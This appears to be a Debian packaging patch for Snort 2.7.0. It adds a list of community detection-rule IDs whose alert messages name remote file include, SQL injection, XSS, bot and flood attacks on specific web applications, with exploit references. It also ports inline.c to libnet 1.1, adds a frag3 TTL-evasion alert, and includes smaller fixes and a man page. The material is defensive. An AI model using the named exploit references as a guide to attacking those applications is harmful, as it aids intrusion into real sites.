+100000805 || COMMUNITY WEB-PHP BosClassifieds classified.php remote file include || bugtraq,18883
+100000806 || COMMUNITY WEB-PHP BosClassifieds search.php remote file include || bugtraq,18883
+100000807 || COMMUNITY WEB-PHP CommonSense search.php SQL injection attempt || bugtraq,18893
+100000808 || COMMUNITY WEB-PHP AjaxPortal ajaxp.php SQL injection attempt || bugtraq,18897
+100000809 || COMMUNITY WEB-PHP RW Download stats.php remote file include || bugtraq,18901
+100000810 || COMMUNITY WEB-PHP PHPBB download.php remote file include || bugtraq,18914
+100000811 || COMMUNITY WEB-PHP PHPBB attach_rules.php remote file include || bugtraq,18914
+100000812 || COMMUNITY WEB-PHP SimpleBoard SBP index.php remote file include || bugtraq,18917
+100000813 || COMMUNITY WEB-PHP SimpleBoard SBP file_upload.php remote file include || bugtraq,18917
+100000814 || COMMUNITY WEB-PHP SimpleBoard SBP image_upload.php remote file include || bugtraq,18917
+100000815 || COMMUNITY WEB-PHP SimpleBoard SBP performs.php remote file include || bugtraq,18917
+100000816 || COMMUNITY WEB-PHP PC_CookBook pccookbook.php remote file include || bugtraq,18919
+100000817 || COMMUNITY WEB-PHP SMF Forum smf.php remote file include || bugtraq,18924
+100000818 || COMMUNITY WEB-PHP Graffiti Forums topics.php SQL injection attempt || bugtraq,18928
+100000819 || COMMUNITY DELETED PhpWebGallery XSS attempt
+100000820 || COMMUNITY WEB-PHP SaPHPLesson add.php SQL injection attempt || bugtraq,18934
+100000821 || COMMUNITY WEB-PHP VBZooM sub-join.php SQL injection attempt || bugtraq,18937
+100000822 || COMMUNITY WEB-PHP VBZooM reply.php SQL injection attempt || bugtraq,18937
+100000823 || COMMUNITY WEB-PHP VBZooM ignore-pm.php SQL injection attempt || bugtraq,18937
+100000824 || COMMUNITY WEB-PHP VBZooM sendmail.php SQL injection attempt || bugtraq,18937
+100000825 || COMMUNITY WEB-PHP Phorum posting.php xss attempt || bugtraq,18941
+100000826 || COMMUNITY WEB-PHP Phorum search.php SQL injection attempt || bugtraq,18941
+100000827 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000828 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000829 || COMMUNITY WEB-PHP HiveMail address.view.php xss attempt || bugtraq,18949
+100000830 || COMMUNITY WEB-PHP HiveMail index.php xss attempt || bugtraq,18949
+100000831 || COMMUNITY WEB-PHP HiveMail compose.email.php xss attempt || bugtraq,18949
+100000832 || COMMUNITY WEB-PHP HiveMail read.markas.php xss attempt || bugtraq,18949
+100000833 || COMMUNITY WEB-PHP HiveMail search.results.php SQL injection attempt || bugtraq,18949
+100000834 || COMMUNITY WEB-PHP Lazarus codes-english.php xss attempt || bugtraq,18956
+100000835 || COMMUNITY WEB-PHP Lazarus picture.php xss attempt || bugtraq,18956
+100000836 || COMMUNITY WEB-PHP MiniBB com_minibb.php remote file include || bugtraq,18998
+100000837 || COMMUNITY WEB-PHP MiniBB index.php remote file include || bugtraq,18998
+100000838 || COMMUNITY WEB-PHP PhotoCycle photocycle.php xss attempt || bugtraq,18964
+100000839 || COMMUNITY WEB-PHP PHP Event Calendar calendar.php remote file include || bugtraq,18965
+100000840 || COMMUNITY WEB-PHP FlatNuke index.php remote file include || bugtraq,18966
+100000841 || COMMUNITY WEB-PHP PerForms performs.php remote file include || bugtraq,18968
+100000842 || COMMUNITY WEB-PHP PHPBB 3 memberlist.php SQL injection attempt || bugtraq,18969
+100000843 || COMMUNITY WEB-PHP Koobi Pro index.php xss attempt || bugtraq,18970
+100000844 || COMMUNITY WEB-PHP Koobi Pro index.php SQL injection attempt || bugtraq,18970
+100000845 || COMMUNITY WEB-PHP Invision Power Board ipsclass.php SQL injection attempt || bugtraq,18984
+100000846 || COMMUNITY WEB-PHP Subberz Lite user-func.php remote file include || bugtraq,18990
+100000847 || COMMUNITY WEB-PHP Sitemap sitemap.xml.php remote file include || bugtraq,18991
+100000848 || COMMUNITY DELETED PhpWebGallery XSS attempt || bugtraq,18798
+100000849 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000850 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000851 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000852 || COMMUNITY WEB-PHP IceWarp include.php remote file include || bugtraq,19007
+100000853 || COMMUNITY WEB-PHP IceWarp settings.html remote file include || bugtraq,19007
+100000854 || COMMUNITY WEB-PHP ListMessenger listmessenger.php remote file include || bugtraq,19014
+100000855 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000856 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000857 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000858 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000859 || COMMUNITY WEB-PHP Professional Home Page Tools class.php SQL injection attempt || bugtraq,19019
+100000860 || COMMUNITY WEB-PHP Francisco Charrua Photo-Gallery room.php SQL injection attempt || bugtraq,19020
+100000861 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000862 || COMMUNITY WEB-PHP FlushCMS class.rich.php remote file include || bugtraq,19023
+100000863 || COMMUNITY WEB-PHP PHPMyRing view_com.php SQL injection attempt || url,secunia.com/advisories/21451/
+100000864 || COMMUNITY WEB-CLIENT tsuserex.dll COM Object Instantiation Vulnerability || url,www.xsec.org/index.php?module=Releases&act=view&type=1&id=14
+100000865 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s01 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000866 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s02 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000867 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s03 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000868 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit s04 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000869 || COMMUNITY WEB-PHP powergap remote file Inclusion Exploit sid variant || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000870 || COMMUNITY WEB-PHP powergap remote file inclusion exploit sid variant 2 || url,www.powergap-shop.de || url,msgs.securepoint.com/cgi-bin/get/bugtraq0608/301.html
+100000871 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000872 || COMMUNITY WEB-PHP CubeCart XSS attack || url,retrogod.altervista.org/cubecart_3011_adv.html
+100000873 || COMMUNITY WEB-PHP discloser 0.0.4 Remote File Inclusion
+100000874 || COMMUNITY MISC DLR-TOR Directory server response || url,tor.eff.org
+100000875 || COMMUNITY MISC DLR-TOR Client Traffic || url,tor.eff.org
+100000876 || COMMUNITY MISC Google Talk Version Check
+100000877 || COMMUNITY MISC Google Talk Startup
+100000878 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000879 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000880 || COMMUNITY WEB-CGI Roller Weblog XSS exploit || bugtraq,20045
+100000881 || COMMUNITY WEB-CLIENT ImageMagick SGI ZSIZE Header Information Overflow Attempt || bugtraq,19507 || cve,2006-4144
+100000882 || COMMUNITY WEB-PHP PHP Live Helper globals.php remote file include || bugtraq,19349
+100000883 || COMMUNITY WEB-PHP Inlink remote file inclusion exploit || url,milw0rm.com/exploits/2295
+100000884 || COMMUNITY WEB-MISC SimpleBlog Remote SQL Injection attempt || url,milw0rm.com/exploits/2296
+100000885 || COMMUNITY WEB-PHP pHNews access attempt || url,milw0rm.com/exploits/2298
+100000886 || COMMUNITY WEB-PHP Proxima access attempt || url,milw0rm.com/exploits/2299
+100000887 || COMMUNITY WEB-PHP pmwiki exploit attempt || url,milw0rm.com/exploits/2291
+100000888 || COMMUNITY WEB-PHP tikiwiki exploit attempt || url,milw0rm.com/exploits/2288
+100000889 || COMMUNITY WEB-PHP yappa-ng exploit attempt || url,milw0rm.com/exploits/2292
+100000890 || COMMUNITY WEB-MISC Webmin null char attempt || bugtraq,19820 || nessus,22300
+100000891 || COMMUNITY WEB-MISC Usermin null char attempt || bugtraq,19820 || nessus,22300
+100000892 || COMMUNITY MISC Q.931 Invalid Call Reference Length Buffer Overflow || url,www.ethereal.com/news/item_20050504_01.html || url,www.elook.org/internet/126.html
+100000893 || COMMUNITY POLICY Weather Channel Desktop App Installer
+100000894 || COMMUNITY POLICY Weather Channel Desktop App
+100000895 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-description xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000896 || COMMUNITY WEB-MISC Blojsom Weblog blog-entry-title xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000897 || COMMUNITY WEB-MISC Blojsom Weblog rss-enclosure-url xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000898 || COMMUNITY WEB-MISC Blojsom Weblog technorati-tags xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000899 || COMMUNITY WEB-MISC Blojsom Weblog blog-category-name xss attempt || url,www.kb.cert.org/vuls/id/425861
+100000900 || COMMUNITY BOT Mytob IRC DCC file transfer request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000901 || COMMUNITY BOT Mytob IRC DCC chat request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000902 || COMMUNITY BOT Mytob IRC channel join || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000903 || COMMUNITY BOT Mytob IRC dns request || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000904 || COMMUNITY BOT Mytob IRC dns response || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000905 || COMMUNITY BOT Mytob IRC nick change || url,www.symantec.com/security_response/writeup.jsp?docid=2006-052411-0911-99
+100000906 || COMMUNITY WEB-PHP UBB.threads remote file include
+100000907 || COMMUNITY WEB-PHP phpMyWebmin change_preferences2 script remote file include || url,www.securityfocus.com/bid/20281/info
+100000908 || COMMUNITY WEB-PHP phpMyWebmin create_file script remote file include || url,www.securityfocus.com/bid/20281/info
+100000909 || COMMUNITY WEB-PHP phpMyWebmin upload_local script remote file include || url,www.securityfocus.com/bid/20281/info
+100000910 || COMMUNITY WEB-PHP phpMyWebmin upload_multi script remote file include || url,www.securityfocus.com/bid/20281/info
+100000911 || COMMUNITY WEB-PHP Dayfox Blog adminlog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000912 || COMMUNITY WEB-PHP Dayfox Blog postblog.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000913 || COMMUNITY WEB-PHP Dayfox Blog index.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000914 || COMMUNITY WEB-PHP Dayfox Blog index2.php module remote file include || url,www.securityfocus.com/archive/1/447500/30/0/threaded
+100000915 || COMMUNITY WEB-PHP Somery Include.php remote file include || bugtraq,19912
+100000916 || COMMUNITY WEB-PHP MyBulletinBoard Functions_Post.php xss attempt || bugtraq,19770
+100000917 || COMMUNITY WEB-PHP PHP-Dimension functions_kb.php remote file include attempt || bugtraq,20367
+100000918 || COMMUNITY WEB-PHP PHP-Dimension themen_portal_mitte.php remote include attempt || bugtraq,20367
+100000919 || COMMUNITY WEB-PHP Segue CMS themesettings.inc.php remote file include attempt || bugtraq,20640 || cve,2006-5497 || url,osvdb.org/29904 || nessus,22922 || url,www.milw0rm.com/exploits/2600
+100000920 || COMMUNITY WEB-PHP MiniBB bb_func_txt.php pathToFiles variable remote file include || bugtraq,20757 || url,osvdb.org/29971 || nessus,22926
+100000921 || COMMUNITY WEB-PHP PunBB register.php language variable remote file include || bugtraq,20786 || cve,2006-5735 || url,osvdb.org/30132 || nessus,22932
+100000922 || COMMUNITY WEB-PHP Etomite CMS index.php id variable SQL injection || bugtraq,21135 || url,osvdb.org/30442 || url,secunia.com/advisories/22885
+100000923 || COMMUNITY DOS Single-Byte UDP Flood
+100000924 || COMMUNITY POLICY Google SafeSearch off
+100000925 || COMMUNITY-WEB-PHP ADP Forum Attempted Password Recon || url,www.milw0rm.com/exploits/3053
+100000926 || COMMUNITY-WEB-PHP EasyNews PRO News Attempted Password Recon || url,www.milw0rm.com/exploits/3039
+100000927 || COMMUNITY MISC Microsoft Messenger phishing attempt - corrupted registry || url,www.microsoft.com/windowsxp/using/security/learnmore/stopspam.mspx
+100000928 || COMMUNITY EXPLOIT LANDesk Management Suite Alerting Service buffer overflow || bugtraq,23483 || cve,2007-1674
+100000929 || COMMUNITY WEB-PHP Xoops module Articles SQL Injection Exploit || url,www.securityfocus.com/archive/1/463916
+100000930 || COMMUNITY WEB-PHP Drake CMS 404.php Local File Include Vulnerability || bugtraq,23215
+100000931 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000932 || COMMUNITY WEB-PHP Softerra Time-Assistant remote include attempt || bugtraq,23203
+100000933 || COMMUNITY WEB-PHP Aardvark button/settings_sql.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
+100000934 || COMMUNITY WEB-PHP Aardvark button/new_day.php File Include Vulnerability || url,securityfocus.com/archive/1/464351
--- snort-2.7.0.orig/src/inline.c
+++ snort-2.7.0/src/inline.c
@@ -21,6 +21,15 @@
 #include <string.h>
 #include <pcap.h>
 #include <libnet.h>
+#ifndef Pru16
+#define PRu16   3
+#endif
+#ifndef LIBNET_ERR_WARNING
+#define LIBNET_ERR_WARNING  1
+#define LIBNET_ERR_CRITICAL 2
+#define LIBNET_ERR_FATAL    3
+#endif
+
 
 #include "decode.h"
 #include "inline.h"
@@ -141,8 +150,8 @@
 #ifndef IPFW
     if(pv.layer2_resets)
     {
-        tcp_size = ETH_H + IP_H + TCP_H;
-        icmp_size = 128 + ETH_H;
+        tcp_size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_TCP_H;
+        icmp_size = 128 + LIBNET_ETH_H;
     }
     else
 #endif
@@ -155,7 +164,7 @@
 	    exit(-1);
 	}
 
-        tcp_size = IP_H + TCP_H;
+        tcp_size = LIBNET_IPV4_H + LIBNET_TCP_H;
         icmp_size = 128;
     }
 
@@ -180,17 +189,17 @@
         /* Building Layer 2 Reset Packets */
         printf("building cached link layer reset packets\n");
    
-        libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 255, 
-                        IPPROTO_TCP, 0, 0, NULL, 0, l_tcp + ETH_H);
+        libnet_build_ip(LIBNET_TCP_H, 0, libnet_get_prand(PRu16), 0, 255, 
+                        IPPROTO_TCP, 0, 0, NULL, 0, l_tcp + LIBNET_ETH_H);
 
         libnet_build_tcp(0, 0, 0, 0, TH_RST|TH_ACK, 0, 0, NULL, 0,
-                         l_tcp + ETH_H + IP_H);
+                         l_tcp + LIBNET_ETH_H + LIBNET_IPV4_H);
 
         /* create icmp cached packet */
-        libnet_build_ip(ICMP_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
-                        255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp + ETH_H);
+        libnet_build_ip(LIBNET_ICMPV4_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
+                        255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp + LIBNET_ETH_H);
         libnet_build_icmp_unreach(3, 3, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0,
-                                  l_icmp + ETH_H + IP_H);
+                                  l_icmp + LIBNET_ETH_H + LIBNET_IPV4_H);
     }
     else 
 #endif
@@ -198,17 +207,17 @@
         /* Building Socket Reset Packets */ 
         printf("building cached socket reset packets\n"); 
   
-        libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 255,
+        libnet_build_ip(LIBNET_TCP_H, 0, libnet_get_prand(PRu16), 0, 255,
                         IPPROTO_TCP, 0, 0, NULL, 0, l_tcp);
 
         libnet_build_tcp(0, 0, 0, 0, TH_RST|TH_ACK, 0, 0, NULL, 0,
-                         l_tcp + IP_H);
+                         l_tcp + LIBNET_IPV4_H);
 
         /* create icmp cached packet */
-        libnet_build_ip(ICMP_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
+        libnet_build_ip(LIBNET_ICMPV4_UNREACH_H, 0, libnet_get_prand(PRu16), 0,
                         255, IPPROTO_ICMP, 0, 0, NULL, 0, l_icmp);
         libnet_build_icmp_unreach(3, 3, 0, 0, 0, 0, 0, 0, 0, 0, NULL, 0,
-                                  l_icmp + IP_H);
+                                  l_icmp + LIBNET_IPV4_H);
     }  
 
 }
@@ -437,9 +446,9 @@
         case IPPROTO_TCP:
             if (!tmpP->frag_flag)
             {
-                size = IP_H + TCP_H;
+                size = LIBNET_IPV4_H + LIBNET_TCP_H;
                 iph = (IPHdr *)l_tcp;
-                tcph = (TCPHdr *)(l_tcp + IP_H);
+                tcph = (TCPHdr *)(l_tcp + LIBNET_IPV4_H);
 
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -452,7 +461,7 @@
                 //printf("Send TCP Rst in IP-mode.\n");
 		    
                 /* calculate the checksum */
-                if (libnet_do_checksum(l_tcp, IPPROTO_TCP, TCP_H) == -1)
+                if (libnet_do_checksum(l_tcp, IPPROTO_TCP, LIBNET_TCP_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendTCPRST: libnet_do_checksum");
@@ -472,7 +481,7 @@
             if (!tmpP->frag_flag)
             {
                 iph = (IPHdr *)l_icmp;
-                icmph = (ICMPHdr *)(l_icmp + IP_H);
+                icmph = (ICMPHdr *)(l_icmp + LIBNET_IPV4_H);
 						
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -483,16 +492,16 @@
                     payload_len = 8;
                 }
 
-                memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, 
+                memcpy((char *)icmph + LIBNET_ICMPV4_UNREACH_H, tmpP->iph, 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len);
                         
-                size = IP_H + ICMP_UNREACH_H + 
+                size = LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len;
 
                 iph->ip_len = htons(size);
                         
                 /* calculate checksums */
-                if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - IP_H) == -1)
+                if (libnet_do_checksum(l_icmp, IPPROTO_ICMP, size - LIBNET_IPV4_H) == -1)
 	        {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendICMPRST: libnet_do_checksum failed for IPPROTO_ICMP");
@@ -552,7 +561,7 @@
 
     int i = 0;
 
-    iph = (IPHdr *)(l_tcp + ETH_H);
+    iph = (IPHdr *)(l_tcp + LIBNET_ETH_H);
 
 
     proto = tmpP->iph->ip_proto;
@@ -611,10 +620,10 @@
         case IPPROTO_TCP:
             if (!tmpP->frag_flag)
             {
-                size = ETH_H + IP_H + TCP_H;
+                size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_TCP_H;
                 eh = (EtherHdr *)l_tcp;
-                iph = (IPHdr *)(l_tcp + ETH_H);
-                tcph = (TCPHdr *)(l_tcp + ETH_H + IP_H);
+                iph = (IPHdr *)(l_tcp + LIBNET_ETH_H);
+                tcph = (TCPHdr *)(l_tcp + LIBNET_ETH_H + LIBNET_IPV4_H);
 
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -627,16 +636,16 @@
                 //printf("Send TCP Rst in Bridge-mode.\n");
 
                 /* calculate the checksums */
-                if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_TCP, TCP_H) == -1)
+                if (libnet_do_checksum(l_tcp + LIBNET_ETH_H, IPPROTO_TCP, LIBNET_TCP_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
-            	                "SendEthTCPRST: libnet_do_checksum failed for TCP_H");
+            	                "SendEthTCPRST: libnet_do_checksum failed for LIBNET_TCP_H");
                     return;
                 }
-                if (libnet_do_checksum(l_tcp + ETH_H, IPPROTO_IP, IP_H) == -1)
+                if (libnet_do_checksum(l_tcp + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
-                                 "SendEthTCPRST: libnet_do_checksum failed for IP_H");
+                                 "SendEthTCPRST: libnet_do_checksum failed for LIBNET_IPV4_H");
                     return;
                 }
                 /* build the ethernet packet */
@@ -660,8 +669,8 @@
             if (!tmpP->frag_flag)
             {
                 eh = (EtherHdr *)l_icmp; 
-                iph = (IPHdr *)(l_icmp + ETH_H);
-                icmph = (ICMPHdr *) (l_icmp + ETH_H + IP_H);
+                iph = (IPHdr *)(l_icmp + LIBNET_ETH_H);
+                icmph = (ICMPHdr *) (l_icmp + LIBNET_ETH_H + LIBNET_IPV4_H);
 						
                 iph->ip_src.s_addr = tmpP->iph->ip_dst.s_addr;
                 iph->ip_dst.s_addr = tmpP->iph->ip_src.s_addr;
@@ -672,22 +681,22 @@
                     payload_len = 8;
                 }
 
-                memcpy((char *)icmph + ICMP_UNREACH_H, tmpP->iph, 
+                memcpy((char *)icmph + LIBNET_ICMPV4_UNREACH_H, tmpP->iph, 
                    (IP_HLEN(tmpP->iph) << 2) + payload_len);
                         
-                size = ETH_H + IP_H + ICMP_UNREACH_H + 
+                size = LIBNET_ETH_H + LIBNET_IPV4_H + LIBNET_ICMPV4_UNREACH_H + 
                        (IP_HLEN(tmpP->iph) << 2) + payload_len;
 
                 iph->ip_len = htons(size);
                         
                 /* calculate the checksums */
-                if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_ICMP, size - IP_H) == -1)
+                if (libnet_do_checksum(l_icmp + LIBNET_ETH_H, IPPROTO_ICMP, size - LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_ICMP");
 		    return;
                 }
-                if (libnet_do_checksum(l_icmp + ETH_H, IPPROTO_IP, IP_H) == -1)
+                if (libnet_do_checksum(l_icmp + LIBNET_ETH_H, IPPROTO_IP, LIBNET_IPV4_H) == -1)
                 {
                     libnet_error(LIBNET_ERR_CRITICAL,
                                  "SendEthICMPRST: libnet_do_checksum failed for IPPROTO_IP");
--- snort-2.7.0.orig/src/generators.h
+++ snort-2.7.0/src/generators.h
@@ -227,6 +227,7 @@
 #define     FRAG3_ANOMALY_OVLP                      8
 #define     FRAG3_IPV6_BSD_ICMP_FRAG                9
 #define     FRAG3_IPV6_BAD_FRAG_PKT                10
+#define     FRAG3_MIN_TTL_EVASION                  11
 
 #define GENERATOR_SMTP                             124
 #define     SMTP_COMMAND_OVERFLOW                  1
@@ -332,6 +333,7 @@
 #define FRAG3_ANOM_OVLP_STR "(spp_frag3) Fragmentation overlap"
 #define FRAG3_IPV6_BSD_ICMP_FRAG_STR "(spp_frag3) IPv6 BSD mbufs remote kernel buffer overflow"
 #define FRAG3_IPV6_BAD_FRAG_PKT_STR "(spp_frag3) Bogus fragmentation packet. Possible BSD attack"
+#define FRAG3_MIN_TTL_EVASION_STR "(spp_frag3) TTL value less than configured minimum, not using for reassembly"
 
 /*   Stream5 strings */
 #define     STREAM5_SYN_ON_EST_STR "Syn on established session"
--- snort-2.7.0.orig/src/snort.c
+++ snort-2.7.0/src/snort.c
@@ -3649,7 +3649,9 @@
 
         ret = unlink(pv.pid_filename);
 
-        if (ret != 0)
+        /* Only complain if we are running as root user or
+         * writing to a place that is not in /var/run */
+        if (ret != 0 && ( userid == 0 || strncmp(pv.pid_filename, "/var/run/", 9) != 0 ) )
         {
             ErrorMessage("Could not remove pid file %s: %s\n",
                          pv.pid_filename, strerror(errno));
@@ -3747,7 +3749,9 @@
 
         ret = unlink(pv.pid_filename);
 
-        if (ret != 0)
+        /* Only complain if we are running as root user or
+         * writing to a place that is not in /var/run */
+        if (ret != 0 && ( userid == 0 || strncmp(pv.pid_filename, "/var/run/", 9) != 0 ) )
         {
             ErrorMessage("Could not remove pid file %s: %s\n",
                          pv.pid_filename, strerror(errno));
--- snort-2.7.0.orig/src/output-plugins/spo_database.c
+++ snort-2.7.0/src/output-plugins/spo_database.c
@@ -657,8 +657,11 @@
                   "          doesn't appear to have any records in the 'schema' table.\n"
                   "          Please re-run the appropriate DB creation script (e.g. create_mysql,\n"
                   "          create_postgresql, create_oracle, create_mssql) located in the\n"
-                  "          contrib\\ directory.\n\n"
-                  "          See the database documentation for cursory details (doc/README.database).\n"
+                  "          /usr/share/doc/snort-mysql/ or  /usr/share/doc/snort-pgsql/ directory.\n\n"
+                  "          See the database documentation for cursory details (README.database),\n"
+                  "          the README-database.Debian for details on how to create the database\n"
+                  "          (both available in the Snort documentation directory /usr/share/doc/snort-mysql/\n"
+                  "          or /usr/share/doc/snort-pgsql/ depending on your Database)\n"
                   "          and the URL to the most recent database plugin documentation.\n",
                   LATEST_DB_SCHEMA_VERSION);
     }
@@ -673,8 +676,11 @@
                   "          If migrating old data is not desired, merely create a new instance\n"
                   "          of the snort database using the appropriate DB creation script\n"
                   "          (e.g. create_mysql, create_postgresql, create_oracle, create_mssql)\n"
-                  "          located in the contrib\\ directory.\n\n"
-                  "          See the database documentation for cursory details (doc/README.database).\n"
+                  "          located in the /usr/share/doc/snort-mysql/ or  /usr/share/doc/snort-pgsql/ directory.\n\n"
+                  "          See the database documentation for cursory details (README.database),\n"
+                  "          the README-database-upgrade.Debian for details on how to upgrade\n"
+                  "          (both available in the Snort documentation directory /usr/share/doc/snort-mysql/\n"
+                  "          or /usr/share/doc/snort-pgsql/ depending on your Database)\n"
                   "          and the URL to the most recent database plugin documentation.\n",
                   data->DBschema_version, LATEST_DB_SCHEMA_VERSION);
     }
--- snort-2.7.0.orig/src/preprocessors/spp_frag3.c
+++ snort-2.7.0/src/preprocessors/spp_frag3.c
@@ -495,7 +495,7 @@
     LogMessage("    Fragment timeout: %d seconds\n", 
             context->frag_timeout);
     LogMessage("    Fragment min_ttl:   %d\n", context->min_ttl);
-    LogMessage("    Fragment ttl_limit: %d\n", context->ttl_limit);
+    LogMessage("    Fragment ttl_limit (not used): %d\n", context->ttl_limit);
     LogMessage("    Fragment Problems: %X\n", context->frag3_alerts);
     //LogMessage("    Bound Addresses:\n");
     IpAddrSetPrint("    Bound Addresses: ", context->bound_addrs);
@@ -695,6 +695,29 @@
 }
 
 /**
+ * Generate an event due to TTL below the configured minimum
+ *
+ * @param context Current run context
+ *
+ * @return none
+ */
+static INLINE void EventAnomMinTTL(Frag3Context *context)
+{
+    if(!(context->frag3_alerts & FRAG3_DETECT_ANOMALIES))
+        return;
+
+    SnortEventqAdd(GENERATOR_SPP_FRAG3, /* GID */ 
+            FRAG3_MIN_TTL_EVASION,   /* SID */
+            1,                       /* rev */
+            0,                       /* classification enum */
+            3,                       /* priority (low) */
+            FRAG3_MIN_TTL_EVASION_STR,  /* event message */
+            NULL);                   /* rule info ptr */
+
+   f3stats.alerts++;
+}
+
+/**
  * Main setup function to regiser frag3 with the rest of Snort.
  *
  * @param none
@@ -1533,6 +1556,7 @@
                  */
                 p->fragtracker = NULL;
             }
+            // LogMessage("%s(%d) ==> The ttl_limit option will be ignored, and Use of the ttl_limit option will be deprecated in a future release\n", file_name, file_line);
         }
 
         Frag3RemoveTracker(&fkey, ft);
@@ -2192,6 +2216,7 @@
             "(len: %d  slide: %d  trunc: %d)\n", 
             len, slide, trunc););
 
+        EventAnomMinTTL(f3context);
         f3stats.discards++;
 
 #ifdef DEBUG
@@ -2435,7 +2460,9 @@
     int done = 0;           /* flag for right-side overlap handling loop */
     int addthis = 1;           /* flag for right-side overlap handling loop */
     int i = 0;              /* counter */
+#if 0
     int delta = 0;
+#endif
     int firstLastOk;
     int ret = FRAG_INSERT_OK;
     unsigned char lastfrag = 0; /* Set to 1 when this is the 'last' frag */
@@ -2493,6 +2520,7 @@
         //return FRAG_INSERT_TIMEOUT;
     }
 
+#if 0
     delta = abs(ft->ttl - p->iph->ip_ttl);
     if (delta > f3context->ttl_limit)
     {
@@ -2502,6 +2530,7 @@
         PREPROC_PROFILE_END(frag3InsertPerfStats);
         return FRAG_INSERT_TTL;
     }
+#endif
 
     /*
      * Check to see if this fragment is the first or last one and
--- snort-2.7.0.orig/debian/snort-stat.8
+++ snort-2.7.0/debian/snort-stat.8
@@ -0,0 +1,21 @@
+.Dd January 3, 1999
+.Dt SNORT-STAT 8
+.Os Gnu/Linux
+.Sh NAME
+.Nm snort-stat
+.Nd generates statistic of scans detected by snort
+.Sh SYNOPSIS
+.Nm cat /var/log/auth.log | /usr/sbin/snort-stat 
+.Sh DESCRIPTION
+.Nm snort-stat
+is a small script that generates a nice statistic on the port scans that
+were detected by snort and reported via /var/log/snort/alert.log.
+The output of this script is mailed to a user that is setup in 
+/etc/snort/snort.debian.conf.
+The cron script /etc/cron.daily/5snort uses this script.
+.Sh SEE ALSO
+.Xr snort 8
+.Sh AUTHORS
+The script is mostly based on the snort-stat from Yen-Ming Chen <chenym+@CMU.EDU>.
+The hostname resolving, the big shrinkage and this manpage were done by 
+Christian Hammers <ch@debian.org>.
